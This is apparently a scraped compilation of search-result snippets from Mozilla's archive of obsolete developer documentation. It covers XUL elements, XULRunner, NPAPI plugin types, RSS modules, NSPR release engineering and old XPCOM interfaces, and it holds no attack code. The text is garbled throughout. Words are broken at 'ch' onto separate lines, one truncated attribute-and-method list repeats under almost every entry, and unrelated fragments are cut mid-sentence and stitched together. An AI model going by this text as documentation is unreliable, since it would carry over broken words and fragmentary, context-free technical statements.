ch will reveal more details when pressed.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
grippy - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that may be used inside a splitter whi
ch can be used to collapse a sibling element of the splitter.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
hbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container element whi
ch can contain any number of
child elements.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, vbox ...
listcols - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container for the columns of a listbox, ea
ch of whi
ch are created with the listcol element.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements listbox, listcell, listcol, listhead, listheader, listitem ...
observes - Archive of obsolete content
when the value of the attribute
changes, the broadcast event is called on the observer.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
param - Archive of obsolete content
the value to bind should be text as a
child of the param element.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
query - Archive of obsolete content
attributes expr examples (example needed) attributes expr type: string for xml queries, an xpath expression whi
ch returns results.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
resizer - Archive of obsolete content
attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hide
chrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width="2" style="background-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resizer dir="bottomleft" height="2" style="cursor: sw-resize;"/> ...
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
toolbargrippy - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] not in firefox the not
ch on the side of a toolbar whi
ch can be used to collapse and expand it.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbarpalette - Archive of obsolete content
the
children of the toolbarpalette should be the complete list of toolbarbuttons and toolbaritems that can be added to the toolbar.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] firefox only this element is used as a container for custom toolbars, whi
ch are added in the custom toolbar dialog.
...xobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarspacer, toolbox ...
treeseparator - Archive of obsolete content
attributes properties examples (example needed) attributes properties type: space-separated list of property names sets the properties of the element, whi
ch can be used to style the element.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements tree, treecols, treecol, tree
children, treeitem, treerow and treecell.
vbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a container element whi
ch can contain any number of
child elements.
...bject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), append
child(), blur, click, clonenode(), comparedocumentposition, dispat
chevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), has...
...attributes(), has
childnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), remove
child(), removeeventlistener(), replace
child(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements box, hbox ...
Using LDAP XPCOM with XULRunner - Archive of obsolete content
xpcomglue_s.$(lib_suffix) \ $(xpcom_frozen_ldopts) \ $(nspr_libs) \ $(null) include $(topsrcdir)/config/rules.mk defines += -dmoz_dll_prefix=\"$(dll_prefix)\" ldapstubloader.cpp: // copyright (c) 2005 benjamin smedberg <benjamin@smedbergs.us> #include "nscore.h" #include "nsmodule.h" #include "prlink.h" #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" static
char const *const kdependentlibraries[] = { #ifdef ns_win32 moz_dll_prefix "nsldap32v50" moz_dll_suffix, moz_dll_prefix "nsldappr32v50" moz_dll_suffix, #endif //ns_win32 #ifdef ns_unix moz_dll_prefix "ldap50" moz_dll_suffix, moz_dll_prefix "prldap50" moz_dll_suffix, #endif //ns_unix nsnull }; // component.dll on windows, libcomponent.dll on linux static
char krealcomponent[] = moz_dll_pre...
...r<nsifile> libraries; rv = alocation->getparent(getter_addrefs(libraries)); if (ns_failed(rv)) return rv; nscomptr<nsilocalfile> library(do_queryinterface(libraries)); if (!library) return ns_error_unexpected; library->setnativeleafname(ns_literal_cstring("libraries")); library->appendnative(ns_literal_cstring("dummy")); // loop through and load dependent libraries for (
char const *const *dependent = kdependentlibraries; *dependent; ++dependent) { library->setnativeleafname(nsdependentcstring(*dependent)); prlibrary *lib; library->load(&lib); // 1) we don't care if this failed!
... } library->setnativeleafname(ns_literal_cstring(krealcomponent)); prlibrary *lib; rv = library->load(&lib); if (ns_failed(rv)) return rv; nsgetmoduleproc getmoduleproc = (nsgetmoduleproc) pr_findfunctionsymbol(lib, ns_get_module_symbol); if (!getmoduleproc) return ns_error_failure; return getmoduleproc(acompmgr, alocation, aresult); } then
change your .mozconfig to add this line: ac_add_options --enable-extensions=ldapstub rebuild xulrunner.
XULRunner/Old Releases - Archive of obsolete content
1.9.2.x xulrunner releases these builds are built from the stable 1.9.2 bran
ch.
... nightly builds of xulrunner 1.9.0.x these builds are built from the stable 1.9 bran
ch.
... xulrunner 1.8.0.4 this is the last official stable developer preview release from the 1.8.0 bran
ch.
What XULRunner Provides - Archive of obsolete content
the goal of xulrunner is to provide a solution for deploying xul applications (primarily firefox and thunderbird), as well as providing an embedding me
chanism.
... extension manager file picker (uses native os filepicker as appropriate) find toolbar helper app dialog/ui security ui (maintenance of ssl key
chains, etc) embedding apis the following embedding apis are provided by xulrunner: cross-platform embedding (xre_initembedding) javaxpcom embedding gtkmozembed (linux only) activex control (windows only) (not yet complete) obsolete since gecko 7.0 nsview-based-widget (mac os x only) (not yet complete) the "maybe" list the following features have been discussed and may be included if de...
...veloper time permits and code size is controlled: ldap support spell
checking support (with or without dictionaries provided) see bug 285977 core support for profile roaming (with application-specific extensibility) pyxpcom embedding (not yet complete) - but it does work, if you compile a custom build that includes the pyxpcom bindings and there is a working python available.
Mozprofile - Archive of obsolete content
the profile to be operated on may be specified with the --profile swit
ch.
... if a profile is not specified, one will be created in a temporary directory whi
ch will be e
choed to the terminal: (mozmill)> mozprofile /tmp/tmp4q1ieu.mozrunner (mozmill)> ls /tmp/tmp4q1ieu.mozrunner user.js to run mozprofile from the command line enter: mozprofile --help for a list of options.
...you can pass preferences in to the profile class's constructor: obj = firefoxprofile(preferences=[("accessibility.typeaheadfind.flashbar", 0)]) using a json blob file: mozprofile --preferences myprefs.json using a .ini file: mozprofile --preferences myprefs.ini via the command line: mozprofile --pref key:value --pref key:value [...] when setting preferences from an .ini file or the --pref swit
ch, the value will be interpolated as an integer or a boolean (true/false) if possible.
NPP_New - Archive of obsolete content
syntax #include <npapi.h> nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc,
char *argn[],
char *argv[], npsaveddata *saved); parameters the function has the following parameters: plugintype pointer to the mime type for new plug-in instance.
... a new instance pointer (npp instance) is created by the plug-in, whi
ch is valid until the instance is destroyed with npp_destroy.
...this gives developers a
chance to use private attributes to communicate instance-specific options or other information to the plug-in.
NPUTF8 - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary nputf8 is a byte representing an 8-bit unit of a utf-8
character.
... this is not the same thing as an entire utf-8
character, whi
ch may be comprised of multiple nputf8 bytes.
... syntax typedef
char nputf8; description the nputf8 type is used in constructing utf-8 strings for use by the plugin scripting api extension.
NP_Port - Archive of obsolete content
syntax typedef struct np_port { cgrafptr port; /* grafport */ int32 portx; /* position inside the topmost window */ int32 porty; } np_port; fields the data structure has the following fields: port standard mac os port into whi
ch the plug-in should draw.
... description on mac os, the window field of an npwindow structure points to an np_port object, whi
ch is allocated by the browser.
... save the current port settings before
changing the port for drawing.
Why RSS Content Module is Popular - Including HTML Contents - Archive of obsolete content
this greatly bloats the size of contents but is necessary since certain
characters are no allowed in xml.
... an example using the most popular element of the rss content module is shown below: <?xml version="1.0"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" > <
channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>a link in here</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>sun, 1...
...</item> <item> <title>some bold html</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/112</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</pubdate> <link>http://www.example.com/blog/2005/05/15/112</link> <content:encoded><![cdata[this is <b>bold</b>.]]></content:encoded> </item> </
channel> </rss> the <content:encoded> element is the reason that the rss content module is popular.
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
sure rss has the <comments> element, but it points to a html page that isn't ma
chine readable.
... an example using the most popular element of the well-formed web rss module is shown below: <?xml version="1.0"> <rss version="2.0" xmlns:wfw="http://wellformedweb.org/commentapi/" > <
channel> <title>example</title> <description>an rss example with wfw</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>i like root beer</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54321</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</pubdate> <link>http://www.example.com/article/54321</link> <wfw:commentrss>http://w...
...k> <wfw:commentrss>http://www.example.com/feed/rss/54320/comments</wfw:commentrss> </item> <item> <title>huh?!</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:article:54319</guid> <pubdate>sun, 15 may 2005 08:14:11 -0500</pubdate> <link>http://www.example.com/article/54319</link> <wfw:commentrss>http://www.example.com/feed/rss/54319/comments</wfw:commentrss> </item> </
channel> </rss> the <wfw:commentrss> element is the reason that the well-formed web rss module is popular.
Getting Started - Archive of obsolete content
you must also know how to use ea
ch of these.
... how to use this tutorial although ea
ch page in this tutorial has been written so that it can act as a "standalone" tutorial, it does assume you already possess the knowledge of the information taught in previous pages of this tutorial.
... tutorial what is rss why use rss how rss works syndicating blogs broadcat
ching microformats advanced broadcat
ching ...
0.90 - Archive of obsolete content
when rss 0.90 was created, the rss initialization stood for ri
ch site summary and not really simple syndication.
... examples rss 0.90 looked something like this: <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://my.netscape.com/rdf/simple/0.9/" > <
channel> <title>mozilla dot org</title> <link>http://www.mozilla.org</link> <description>the mozilla organization web site</description> </
channel> <image> <title>mozilla</title> <url>http://www.mozilla.org/images/moz.gif</url> <link>http://www.mozilla.org</link> </image> <item> <tit...
... specification the original rss 0.90 specification has disappeared from its original location: http://my.netscape.com/publish/help/quickstart.html copies of it have been saved, and can be viewed at the following locations: http://www.purplepages.ie/rss/netscape/rss0.90.html http://web.ar
chive.org/web/*/http://...uickstart.html ...
Version - Archive of obsolete content
they are listed in
chronological order of when they were released.
... note: in the list below, although rss 1.0 seems to be out of place, it is actually in the correct place
chronologically.
... name status release date based on author rss 0.90 mar
ch 1999 rdf netscape netscape's rss 0.91 (revision 1) ?
NSPR Release Engineering Guide - Archive of obsolete content
feature complete update ...pr/include/prinit.h with release numbers build all targets, debug and optimized on all platforms using local directories run the test suite on all targets verify release numbers show up in binaries resolve testing anomalies tag the tree with nsprpub_release_x_y_z_beta beta release
checkout a whole new tree using the tag from above build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z 1 run explode.pl run the test suite on all targets, using binaries & headers from shipped bits resolve testing...
... anomalies tag the tree with nsprpub_release_x_y[_z] release candidate
checkout a whole new tree using tag (including fixes) tag the treey with nsprpub_release_x_y_z build all targets, debug and optimized on all platforms using the command: gmake release mdist=<dir>/mdist build_number=vx.y.z [build_opt=1 | use_debug_rtl=1] copy the bits from mdist to /share/builds/components/nspr20/.vx.y.z in /share/builds/components/nspr20/ run the following scripts: explode.pl rename.sh symlink.sh rtm bits rename the .vx.y.z directory to vx.y.z (remove the hidden directory 'dot').
... copy /share/builds/components/nspr20/vx.y.z/* to /share/systems/mozilla/pub/nspr/vx.y.z/ original document information author: larryh@netscape.com last updated date: september 20, 2000 1 copying files to /share/builds/components requires that one be logged on to a ma
chine named "smithers" as user "svbld".
contents.rdf - Archive of obsolete content
copy the following text and paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:
chrome="http://www.mozilla.org/rdf/
chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme"
chrome:displayname="my theme"
chrome:accesskey="n"
chrome:author=""
chrome:authorurl=""
chrome:description=""
chrome:name="my_theme"
chrome:image="preview.png"> <
chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my...
..._theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:help"/> </rdf:seq> </
chrome:packages> </rdf:description> <!-- version information.
...--> <rdf:description
chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:browser"/> <rdf:description
chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:communicator"/> <rdf:description
chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:global"/> <rdf:description
chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:mozapps"/> <rdf:description
chrome:skinversion="1.5" about="urn:mozilla:skin:my_theme:help"/> </rdf:rdf> ...
Settings - Archive of obsolete content
the debugger has its own settings menu, whi
ch you can access from an icon in the toolbar: ea
ch setting is a simple on/off swit
ch: auto prettify minified sources with this option enabled, the debugger will automatically detect minified js files and pretty-print them.
... show variables filter box enabling this option adds a "filter variables" sear
ch box to the variables pane, so that you can filter the displayed list of variables.
... show original sources enabling this option will make the debugger use source maps, if they are available, to display the original source for code whi
ch has been combined, minified, or even compiled to javascript from a language like coffeescript.
-ms-content-zoom-limit - Archive of obsolete content
initial valueas ea
ch of the properties of the shorthand:-ms-content-zoom-limit-max: 400%-ms-content-zoom-limit-min: 100%applies tonon-replaced block-level elements and non-replaced inline-block elementsinheritednopercentagesas ea
ch of the properties of the shorthand:-ms-content-zoom-limit-max: the largest allowed zoom factor.
...smaller values zoom out.computed valueas ea
ch of the properties of the shorthand:-ms-content-zoom-limit-max: as specified-ms-content-zoom-limit-min: as specifiedanimation typediscrete syntax the -ms-content-zoom-limit shorthand property is specified as one or both of the following content zoom limit values, in order, separated by spaces.
... starting with windows 8.1, this property is also supported for tou
chpad interaction.
-moz-windows-theme - Archive of obsolete content
to xul /
chrome code).
... the -moz-windows-theme gecko-only css media feature is useful for customizing application skins and other
chrome code to work well with the user's windows theme.
... syntax the -moz-windows-theme feature is specified as a keyword value that indicates whi
ch windows theme is currently being used.
Displaying notifications (deprecated) - Archive of obsolete content
creating a notification the first thing you need to do is create the notification object by using the navigator.moznotification object's createnotification() method, as follows: var notification = navigator.moznotification.createnotification( "hey,
check this out!", "this is a notification posted by " + "firefox 4.
... for example, let's simply append a little html to our document when these events fire: notification.onclick = function() { var e = document.createelement("p"); e.innerhtml = "<strong>the notification was clicked.</strong>"; document.body.append
child(e); }; notification.onclose = function() { var e = document.createelement("p"); e.innerhtml = "<strong>the notification was closed.</strong>"; document.body.append
child(e); }; displaying the notification once the notification is configured the way you want it to be, call its show() method to display the notification: notification.show(); on android, for example, the resulting notifi...
...cation panel looks like this: when the user taps on the "hey,
check this out!" notification here, the resulting
changes to the document look like this: if you're using firefox mobile, you can see this example live by tapping the button below.
E4X - Archive of obsolete content
it has been disabled by default for webpages (content) in firefox 17, disabled by default for
chrome in firefox 20, and has been removed in firefox 21.
... note: in gecko 1.8 based browsers su
ch as firefox 1.5, e4x is already partially enabled for web page authors.
...the difference between the two modes is that without the "e4x=1" mime type, any statement-level xml/html comment literals (<!--...-->) are ignored for backwards compatibility with the comment hiding trick, and cdata sections (<![cdata[...]]>) are not parsed as cdata literals (whi
ch leads to a js syntax error in html since html's <script> element produces an implicit cdata section, and therefore cannot contain explicit cdata sections).
nsISearchSubmission
netwerk/base/public/nsibrowsersear
chservice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) attributes attribute type description postdata nsiinputstream the post data associated with a sear
ch submission, wrapped in a mime input stream.
... uri nsiuri the uri to submit a sear
ch to.
nsIUploadChannel2
netwerk/base/public/nsiupload
channel2.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last
changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void explicitsetuploadstream(in nsiinputstream astream, in acstring acontenttype, in long long acontentlength, in acstring amethod, in boolean astreamhasheaders); methods explicitsetuploadstream() sets a stream to be uploaded by this
channel with the specified content-type and content-length header values.
... void explicitsetuploadstream( in nsiinputstream astream, in acstring acontenttype, in long long acontentlength, in acstring amethod, in boolean astreamhasheaders ); parameters astream the stream to be uploaded by this
channel.
nsIWebBrowserChrome3
embedding/browser/webbrowser/nsiwebbrowser
chrome3.idlscriptable an extension to nsiwebbrowser
chrome2.
... 1.0 66 introduced gecko 2.0 inherits from: nsiwebbrowser
chrome2 last
